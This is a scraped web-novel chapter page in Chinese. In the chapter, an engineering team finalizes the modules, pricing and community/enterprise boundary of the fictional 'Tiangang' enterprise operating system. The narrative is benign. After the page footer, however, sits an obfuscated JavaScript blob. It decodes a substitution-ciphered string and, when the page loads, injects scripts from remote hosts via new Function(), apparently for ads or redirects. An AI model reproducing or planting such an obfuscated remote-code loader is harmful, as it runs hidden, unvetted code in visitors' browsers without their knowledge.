首页
第351章 天罡企业版功能定
返回
关灯 护眼:关 字号:小

第351章 天罡企业版功能定稿

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    会议室里,白板上贴满了黄色和蓝色的便利贴,每一张上都写着一个功能模块的名称。方程站在白板前,手里拿着一支黑色记号笔,正在对功能列表做最后的梳理。长桌上摊着天罡企业版的产品需求文档丶技术架构图丶以及三十多份来自潜在客户的反馈意见。参加会议的有章宸丶周明丶苏黛丶以及天罡生态产品线和研发团队的十几个人。
    天罡OS自发布以来,个人版开发者数量已经突破五十四万,生态应用超过三千款。但在企业市场,天罡OS的渗透率还很低。方程心里清楚,企业市场才是生态能否真正商业化的关键——企业客户愿意为稳定性丶安全性丶服务保障付费,而个人开发者更看重免费和开放。天罡企业版的目标,就是在不背叛个人开发者信任的前提下,为企业客户提供一套可靠丶安全丶可管理的商业作业系统。
    会议开始前,方程先让产品负责人汇报了企业版的市场调研结果。那是一个三十出头的产品经理,姓马,之前在旧秩序的一家作业系统公司做过企业版的产品规划,经验丰富。
    「过去两个月,我们调研了八十多家潜在企业客户,覆盖了金融丶制造丶物流丶零售丶政务五个行业。调研的核心问题是——企业客户需要什么样的作业系统?」
    马经理调出了一张调研数据汇总表。
    「排名前三的需求是——第一,安全。百分之九十二的企业客户把安全排在第一位。他们需要的是系统级别的安全防护,包括数据加密丶访问控制丶行为审计丶以及漏洞的快速响应。第二,稳定。百分之八十八的企业客户要求系统能够连续运行一千小时以上不重启,关键任务不能因为系统崩溃而中断。第三,可管理。百分之七十五的企业客户需要集中化的设备管理能力,能够远程部署丶配置丶监控丶升级成百上千台设备。」
    「排在后面的需求还包括——兼容性。企业客户有大量的现有应用和外围设备,需要天罡OS能够兼容。技术支持。企业客户希望有SLA保障的技术支持,出现问题能够在承诺的时间内解决。以及成本。虽然企业客户愿意付费,但他们对价格敏感,不能比旧秩序的作业系统贵太多。」
    方程在笔记本上记下了「安全丶稳定丶可管理」三个关键词。
    章宸问了一个关键问题:「天罡OS个人版和企业版的技术架构是什么关系?是完全独立的两条线,还是共享内核?」
    这个问题是整个定稿会的核心。方程走到白板前,画了一张架构图。
    「天罡OS个人版和企业版共享同一个微内核,内核代码完全一致。企业版只是在个人版的基础上,增加了一些企业级功能模块——安全增强模块丶设备管理模块丶以及合规审计模块。这样的好处是——内核的bug修复和安全补丁可以同时覆盖两个版本,不需要维护两套代码。企业客户也可以放心,他们用的内核和个人版一样稳定可靠。」
    「但有一个问题——功能的分层。企业版增加的功能模块,不能影响个人版的性能和稳定性。我们的策略是——把企业级功能做成可加载的模块,默认不启用。企业客户需要的时候,通过许可证激活。这样个人版用户不会因为用不到的功能而浪费系统资源。」
    章宸点了点头,表示认可。
    接下来,会议进入核心议题——天罡企业版的功能定稿。
    马经理走到白板前,拿起一张黄色便利贴,贴在了白板的中央。
    「第一个核心功能——安全增强模块。这个模块包含四个子功能。」
    「第一,数据加密。支持全盘加密和文件级加密,加密算法支持国密标准和国际标准。密钥由企业客户自己管理,可以存在本地,也可以存在企业的密钥管理伺服器上。我们不掌握任何密钥,确保客户数据的私密性。」
    「第二,访问控制。基于角色的访问控制,企业管理员可以定义不同角色的权限——哪些人能用哪些应用丶能访问哪些数据丶能执行哪些操作。比个人版的权限管理细粒度更细。」
    「第三,行为审计。记录系统的关键操作日志——谁在什么时间丶什么设备上丶做了什么操作。日志可以远程导出,用于安全审计和合规检查。」
    「第四,漏洞快速响应。我们承诺,高危漏洞从发现到发布补丁,不超过四十八小时。企业客户可以选择自动更新,也可以选择手动更新。补丁发布前会经过完整的测试,确保不会影响系统稳定性。」
    周明问了一个问题:「安全增强模块的代码,要不要开源?」
    方程想了想,说:「安全模块的核心代码开源,让安全专家可以审计。但密钥管理和行为审计的部分,不开源,作为商业秘密保护。这样既保证了透明度,又保护了核心技术。」
    周明在笔记本上记了下来。
    马经理贴上了第二张便利贴。
    「第二个核心功能——设备管理模块。这个模块解决的是企业客户『成百上千台设备怎么管』的问题。」
    「核心功能包括——远程部署。企业管理员可以在控制台上,把作业系统和应用程式批量部署到多台设备上,不需要一台一台手动安装。远程配置。可以远程修改系统设置丶网络配置丶安全策略。远程监控。实时查看设备的运行状态——CPU使用率丶内存占用丶磁碟空间丶网络流量。远程升级。批量推送系统更新和应用更新,可以设置升级窗口,比如凌晨两点到四点,不影响白天的工作。」
    「设备管理模块还有一个关键特性——离线管理。有些企业的设备在封闭网络内,不能连网际网路。我们的管理控制台可以部署在企业内部伺服器上,通过区域网管理设备。数据不出企业网络,满足合规要求。」
    苏黛问了一个问题:「设备管理模块的开发工作量有多大?」
    方程的研发副手,一个叫老周的工程师,回答了这个问题。「设备管理模块是工作量最大的部分,需要开发控制台丶设备端代理丶以及通信协议。预计需要十二个工程师丶四个月开发周期。加上测试和文档,总共六人月。」
    苏黛在笔记本上记下了这个数字。
    马经理贴上了第三张便利贴。
    「第三个核心功能——合规审计模块。这个模块针对的是金融丶政务等强监管行业的需求。」
    「核心功能包括——合规报告自动生成。系统可以根据企业的合规要求,自动生成审计报告,包括用户行为日志丶安全事件记录丶系统配置变更历史。数据留存。关键日志至少保留六个月,满足监管要求。以及合规策略模板。预置了等保三级丶GDPR丶数据安全法等常见合规策略的模板,企业客户可以直接套用,也可以自定义。」
    周明补充了一句:「合规审计模块,需要和法务团队密切配合。监管要求经常变化,我们的模板也要及时更新。这个模块的开发不是一次性工作,是持续性工作。」
    方程点头。「合规审计模块的维护,由法务部和产品部共同负责。监管政策有变化,两周内更新模板。」
    三个核心功能定下来后,会议进入了功能细节的讨论。
    章宸提出了一个兼容性问题。「天罡企业版要兼容企业现有的应用和外围设备,这个兼容性怎么保证?」
    方程调出了一份兼容性测试报告。「天罡企业版和个人版共享同一个应用框架,个人版能跑的应用,企业版都能跑。对于旧秩序作业系统的应用,我们通过天罡2号的二进位翻译层来兼容。测试结果表明,百分之八十的旧应用可以无缝运行,百分之十五需要小幅修改,百分之五无法兼容——主要是那些深度依赖旧秩序特有API的应用。」
    「外围设备的兼容性,我们通过驱动框架来保证。天罡OS的驱动框架是模块化的,企业客户可以自己开发驱动,也可以从我们这里购买商业驱动。目前我们已经适配了市面上百分之七十的常见外设——印表机丶扫描仪丶身份证读卡器丶密码键盘等。剩下的百分之三十,会根据企业客户的需求逐步适配。」
    马经理接着汇报了定价策略。
    「天罡企业版的定价,我们设计了三个版本——基础版丶专业版丶旗舰版。」
    「基础版,包含安全增强模块的核心功能——数据加密和访问控制。按设备收费,每台设备每年一百二十元。适合中小企业。」
    「专业版,在基础版的基础上增加设备管理模块。每台设备每年三百六十元。适合中等规模企业,有几十到几百台设备需要管理。」
    「旗舰版,包含所有功能——安全增强丶设备管理丶合规审计。每台设备每年六百元。适合大型企业和强监管行业。」
    「所有版本都包含基础的技术支持——工作时间电话和邮件支持,响应时间四小时。企业客户可以购买高级技术支持服务,七乘二十四小时,响应时间一小时,每年额外收费两万元。」
    周明问了一个问题:「企业客户如果要用天罡OS做核心业务系统,对稳定性要求极高,我们有没有提供SLA保障?」
    方程回答:「有。旗舰版企业客户可以签订SLA协议,承诺系统可用性百分之九十九点九。如果达不到,按合同赔偿。赔偿上限是年费的十倍。这个条款在旧秩序的作业系统厂商那里是没有的,我们的竞争优势之一。」
    苏黛追问了一句:「十倍赔偿,会不会被恶意利用?比如企业客户故意破坏系统,然后索赔?」
    方程说:「赔偿条款有前提——系统故障不是由客户自己的硬体问题丶应用软体问题丶或者操作不当造成的。我们的技术支持团队会在故障发生后做根因分析,确认是作业系统本身的问题才赔偿。这个条款不是无条件的。」
    会议进行到下午两点,功能定稿进入了最后一个环节——与天罡个人版的边界划分。
    方程在白板上画了一张功能分层图。
    「天罡OS个人版和企业版的边界,我们遵循三个原则。」
    「第一,内核共享。两个版本用同一个内核,内核层面的bug修复和安全补丁同时发布。个人版用户不会因为企业版的存在而受到任何负面影响。」
    「第二,功能可选。企业版的功能模块默认不启用,个人版用户用不到这些功能,也不会看到这些功能的界面。保持个人版的简洁和轻量。」
    「第三,社区不变。天罡OS的社区版继续存在,开源丶免费丶由社区驱动。企业版是商业产品,由未来科技提供技术支持和SLA保障。社区版和企业版之间的关系,类似于红帽和Fedora——社区版是试验场,企业版是稳定版。新功能先在社区版验证,成熟后再进入企业版。」
    章宸问了一个问题:「社区版和企业版的代码,会不会分叉?」
    方程摇头。「不会。企业版的代码会持续合并回社区版。所有企业版的功能模块,除了密钥管理等极少数商业秘密保护的模块,都会在社区版中开源。这样社区开发者可以继续为天罡OS贡献代码,不会因为企业版的存在而被边缘化。」
    陈醒不在会议室,但方程知道,这个边界划分方案是陈醒反覆强调的——天罡OS的核心是「不背叛信任」。个人开发者是天罡生态的基石,不能因为商业化而伤害他们的利益。
    会议进入最后的功能确认环节。
    马经理把所有的便利贴整理到了一张表格上,投影到屏幕上。
    「天罡企业版V1.0,包含三大核心模块丶十二个子功能。安全增强模块——全盘加密丶文件级加密丶基于角色的访问控制丶行为审计丶漏洞快速响应。设备管理模块——远程部署丶远程配置丶远程监控丶远程升级丶离线管理。合规审计模块——合规报告自动生成丶数据留存丶合规策略模板。」
    「开发周期——四个月。测试周期——两个月。文档和培训——一个月。总计七个月。预计七个月后可以正式发布。」
    「定价——基础版每台设备每年一百二十元,专业版三百六十元,旗舰版六百元。高级技术支持服务每年额外收费两万元。」
    方程站起来,走到白板前,拿起黑色记号笔,在表格的最下方写下了「天罡企业版V1.0功能定稿——方程」几个字,签上了日期。
    「天罡企业版的功能,今天就定到这里。接下来,产品团队出详细的需求文档,研发团队做技术方案评审,测试团队准备测试用例。七个月后,我要看到天罡企业版正式发布,首批企业客户POC测试通过。」
    所有人点头。
    会议结束后,方程和马经理留了下来。两人坐在会议室里,窗外的阳光已经西斜,把白板上的便利贴照得发黄。
    「方程,你觉得企业版最大的挑战是什么?」马经理问。
    方程想了想,说:「不是技术,是信任。企业客户买作业系统,买的不是代码,是信任——信任这个系统不会出问题,信任出了问题有人管,信任这个系统三年后还有人维护。未来科技在个人开发者群体里有信任,但在企业客户群体里,我们还是新面孔。这个信任需要时间和案例来建立。」
    马经理说:「所以我们的策略是——先找一批愿意吃螃蟹的企业客户,做POC测试。让他们用三个月,不收钱。如果满意,再签合同。通过POC案例,建立口碑,再慢慢扩大。」
    方程点了点头。「这个策略可行。你列一个潜在POC客户的名单,下周二交给我。我亲自去谈。」
    马经理在笔记本上记了下来。
    方程站起来,走到窗前。
    窗外,芯谷的广场上,一群穿着天罡生态T恤的开发者正在拍照。那是天罡生态开发者大会的参会者,T恤上印着「天罡OS,开放未来」的字样。他们在追光厂房前合影,笑得很开心。
    方程想起三年前,天罡OS刚刚立项的时候,团队只有五个人,在旧楼的一间小办公室里写代码。那时候,所有人都觉得他在做梦——华夏怎么可能做出自己的作业系统?旧秩序的作业系统统治了几十年,生态壁垒高得吓人。
    但三年后的今天,天罡OS个人版有五十多万开发者,三千多款应用。天罡企业版即将启动POC测试。天罡2号的二进位翻译层让旧应用无缝运行。天罡Edge在医疗领域的试点已经开始。
    这不是奇迹,是无数个日夜的坚持,是每一次技术攻关后的突破,是每一个工程师用代码堆出来的成果。
    方程深吸了一口气,转身对马经理说:「企业版的文档,要写得比个人版更详细。企业客户不看营销文案,看技术文档。文档写不清楚,他们不敢用。」
    马经理点头。「明白。我会让技术写作团队提前介入,和研发团队同步写文档。代码写完,文档也写完。」
    方程拿起外套,走出会议室。
    走廊里,他遇到了章宸。章宸手里拿着一台终端,上面显示着天罡2号的仿真测试数据。
    「方程,天罡2号的二进位翻译层性能又提升了百分之五。旧秩序的一个大型办公软体,翻译后运行效率达到了原生环境的百分之八十五。POC测试的时候,这个数据可以拿出来给客户看。」
    方程接过终端,仔细看了一遍测试报告。
    「好。这个数据加到企业版的技术白皮书里。企业客户最关心的就是兼容性,有这个数据,他们可以放心迁移。」
    章宸点了点头,快步走向电梯。
    方程继续沿着走廊走。经过天权产品线的办公室时,他看到孙总监在和团队讨论国际版天权开发板的设计方案。经过法务部时,他看到周明在和几个律师讨论企业版的开源许可证问题。经过财务部时,他看到方远在审核教育计划2.0的预算。
    每一盏灯都在亮着,每一条线都在往前推。
    方程走进电梯,按了一楼。
    电梯门关上,数字在跳动。
    四楼,会议室——白板上还留着功能定稿的便利贴。
    三楼,天罡生态办公室——工程师们在写企业版的代码。
    二楼,法务部——律师们在讨论开源许可证。
    电梯到了一楼,门开了。
    方程走出去,穿过大厅,推开门。
    夕阳正在西沉,橙红色的光洒在芯谷的广场上。那些穿着天罡生态T恤的开发者已经走了,广场上空荡荡的,只有几片落叶在风中打转。
    方程的终端震动了,是陈醒发来的消息。
    「天罡企业版的功能定稿了?」
    方程回复:「定稿了。三大核心模块,十二个子功能。七个月后发布。首批POC客户的名单下周二确定。」
    陈醒的回覆很快:「好。企业版是天罡生态从『开发者生态』走向『商业生态』的关键一步。这一步走稳了,天罡OS才能真正活下来。POC测试一定要选好客户,选那些有耐心丶愿意和我们一起打磨产品的,不要选只想占便宜的。」
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();